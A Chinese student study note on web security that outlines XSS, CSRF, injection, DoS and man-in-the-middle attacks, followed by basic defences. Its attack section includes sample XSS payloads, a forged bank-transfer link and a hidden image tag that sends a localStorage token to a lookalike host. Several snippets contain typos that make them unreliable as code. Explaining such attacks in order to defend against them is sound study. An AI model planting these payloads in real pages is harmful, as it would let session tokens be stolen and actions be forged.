这是我参与「第四届青训营」笔记创作活动的第3天。 本文主要内容是从两个角度看Web安全：Hacker攻击和开发者防御。

（一）攻击篇

跨站脚本攻击（XSS，Cross-Site Scripting）

XSS是通过浏览器对网站页面插入恶意交互脚本，并利用网页对用户提交内容的盲目信任，直接转化处理DOM树。
难以从UI上感知（暗地执行脚本）
绘制UI（如弹窗），诱骗用户信息等。

//存储式XSS
/* 恶意脚本存入数据库中，用户访问页面，读取数据库数据写给指定服务器，完成这一过程链路即被攻击。存储式XSS是危害最大的XSS攻击 */
            
fetch("/submit",{
    body:JSON.stringfy({
    id:"1",
    content:'<script>alert(“XSS”);</script>':
    });
});
            
           
//响应式XSS
/* 不涉及数据库，直接从URL上攻击（服务端） */
public async render(e){
    const {params} = e.query;
    e.status = 200;
    e.body = '<div>${params}</div>'
}
              
             
//基于DOM的XSS
/* 不需要服务器参与,通过浏览器发起、执行恶意脚本。 */
const content = new URL(location.href).searchParmas.get("params");
const div = document.createElement("div");
//恶意脚本注入
div.innerHTML = content;
documnet.body.append(div);
               
//基于渲染机制Mutation的XSS
/* 利用了浏览器对DOM渲染的特性不同的浏览器有有区别 */ 
<noscript><p title= "</noscript><img src=x onError=alert{1}>">
<div>
 <noscript><p title="</noscript>
 <imng src="x" onerror="alert(1)">
 "">"
<div>

跨站伪造请求（CSRF，Cross-Site resquest forgery）

在用户不知情前提下，利用用户权限，构造指定HTTP请求，窃取或修改用户敏感信息。

<!-- GET请求 -->
<a href="https://bank.com/transfer?to=hacker&amount=100">点我抽奖</a>

<img style="display:none" src="https//mybaidu.com/login/account="${getAccount()}?token=${localStorage.getItem("atokenofbaidu")}">

注入攻击

SQL注入攻击

拒绝服务攻击（DoS，Denial of Service）

通过某种方式（构造特定请求），导致服务器资源被显著消耗，来不及响应更多请求，导致请求积压，进而雪崩效应。

ReDoS：基于正则表达式的DoS:
DDoS（Distributed DoS）：短时间内来自大量僵尸设备的请求流量。通过服务器任意API直接访问IP,占用带宽使得服务器宕机。
中间人攻击：（传输层）利用Web的明文传输,无法验证请求端身份与其请求体是否含篡改内容。

（二）防御篇

跨站脚本攻击（XSS）

永远不信任用户的提交内容，不直接转换成动态DOM
当用户需要使用动态DOM时,应该设置逻辑对上传DOM和解析DOM进行转义 new DOMOarse（）

同源请求策略

前端请求时应该保证与服务器的安全策略一致。
同源请求策略要求网页所在目录与请求接口域名一致,不一致则会发生跨域（CORS安全策略）。

跨站伪造请求（CSRF）

SQL注入

最小原则：避免使用root/sudo
允许建立IP白名单 + 过滤
对URL类型参数进行协议、域名、IP等限制。

拒绝服务攻击（DoS）

ReDos
- 减少允许用户使用正则表达式请求
- 增加校验，对代码做扫描 +正则性能测试
DDos

中间人攻击
- HTTP特性：可靠性-明文加密，完整性：MAC验证；不可抵赖性-数字签名
- HTTPS加密：在三次握手时进行hash加密,利用公钥和证书进行数字签名校验。

（三）总结

安全一直以来是非常值得关注的话题。想要懂得如何防范各类攻击，就必须先了解他们的攻击原理。有时候很多安全漏洞都是因为没有检验请求，确认发送者身份。这也提醒前端工程师对输入和请求进行必要筛选。

Web开发安全 | 青训营笔记